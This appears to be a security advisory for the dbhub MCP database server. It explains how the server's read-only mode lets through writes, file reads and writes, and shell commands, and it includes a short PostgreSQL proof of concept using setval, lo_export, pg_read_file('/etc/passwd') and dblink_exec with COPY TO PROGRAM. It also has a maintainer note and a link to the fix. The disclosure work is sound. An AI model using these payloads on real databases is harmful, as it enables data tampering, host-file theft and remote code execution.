@bytebase/dbhub's read-only mode does not prevent database writes

So the if (source.readonly !== undefined) check is always false, config.readonly stays unset, and DB-level read-only is never applied in any configuration the loader accepts. The per-tool readonly only ever reaches the classifier; executeSQL() ignores options.readonly and runs multi-statement batches in a plain BEGIN rather than BEGIN READ ONLY (src/connectors/postgres/index.ts:598-666).

(The docs already describe the classifier as "a safety net... not a security boundary." This report is about the DB-level control above, which the code clearly means to apply — see the "SDK-level readonly enforcement" comments — but silently fails to wire up.)

2. The classifier only checks the leading keyword.

areAllStatementsReadOnly() (src/tools/execute-sql.ts:24-27) splits on ; and runs isReadOnlySQL() (src/utils/allowed-keywords.ts) on each statement. isReadOnlySQL matches the first word against an allow-list, scans for mutating keywords only inside WITH, blocks SELECT ... INTO, and special-cases EXPLAIN ANALYZE. It never looks at the functions a statement calls. These all classify as read-only:

• SELECT setval('seq', n) / nextval('seq') — sequence write. Needs UPDATE (setval) or USAGE/UPDATE (nextval) on the sequence, which read roles normally hold.
• SELECT lo_export(lo, '/path') — writes a file on the server. Needs superuser or pg_write_server_files.
• SELECT pg_read_file('/etc/passwd') — reads any file the server user can read. Needs superuser or pg_read_server_files.
• SELECT dblink_exec('dbname=...', 'UPDATE ...') — opens a fresh connection (not read-only) and runs writes/DDL. Needs the dblink extension.
• SELECT dblink_exec('dbname=...', $$COPY (SELECT 1) TO PROGRAM 'id'$$) — command execution. Needs superuser or pg_execute_server_program, plus dblink.

The read-only test suite covers none of these.

PoC

Point DBHub at a PostgreSQL source with read-only set on the tool:

[[sources]]
id = "default"
dsn = "postgres://app:app@localhost:5432/app"
 
[[tools]]
name = "execute_sql"
source = "default"
readonly = true

Start it and call execute_sql:

npx @bytebase/dbhub@latest --transport http --port 8080

With any role, a write that should be blocked goes through — the sequence value changes and the call returns success:

SELECT setval('users_id_seq', 1);

With a privileged role, the rest are also accepted and executed:

SELECT lo_export(lo_from_bytea(0, decode('48656c6c6f0a','hex')), '/tmp/dbhub_poc');   -- writes /tmp/dbhub_poc
SELECT pg_read_file('/etc/passwd');                                                  -- reads a host file
SELECT dblink_exec('dbname=app', 'UPDATE users SET admin=true');                     -- write via a new connection
SELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$);  -- runs a shell command

The decision can be reproduced without a database by running the project's own isReadOnlySQL + splitSQLStatements (with areAllStatementsReadOnly copied from src/tools/execute-sql.ts) over the strings above: direct INSERT/UPDATE/DROP, data-modifying CTEs, SELECT ... INTO, and EXPLAIN ANALYZE INSERT are all rejected, while every function-based statement above returns read-only = true.

Impact

Affects all released versions up to and including 0.22.2, on both stdio and HTTP transports, for PostgreSQL and SQLite. readonly = true does not stop writes. Anyone who can reach the execute_sql input can modify data under read-only mode — a network caller of the unauthenticated /mcp endpoint, a malicious MCP client, or untrusted content reaching an agent wired to DBHub through prompt injection. When the configured database role is privileged (common, since DBHub is often pointed at an existing admin DSN), the same access yields arbitrary file write on the server, arbitrary host-file read, and remote code execution on the database host.

Maintainer note (consolidation)

Tracking this as the canonical advisory for "read-only mode does not prevent database writes." The following reports describe the same root cause (read-only enforced only by the keyword classifier; the connection-level backstop was never wired) and are closed as duplicates:

• GHSA-7rgf-cwgq-c2qc — same unwired driver-level backstop, plus the SQLite write-effecting PRAGMA gap.
• GHSA-m689-287g-5xpc — SQLite assignment-form PRAGMA write bypass (a subset of the above).

Preserving the SQLite-specific remediation from those reports: in isReadOnlySQL, the assignment form PRAGMA x = ... must be classified as a write (only the query/introspection form is read-only), and SQLite read-only executions are additionally guarded at the engine via PRAGMA query_only=ON.

GHSA-j656-3hf2-fvjc (MySQL/MariaDB -- comment parsing + multipleStatements) is a distinct root cause and is tracked separately.

Fix: https://github.com/bytebase/dbhub/pull/342 — adds engine-level read-only enforcement per tool (Postgres BEGIN READ ONLY, SQLite query_only, MySQL/MariaDB START TRANSACTION READ ONLY) plus the classifier hardening above.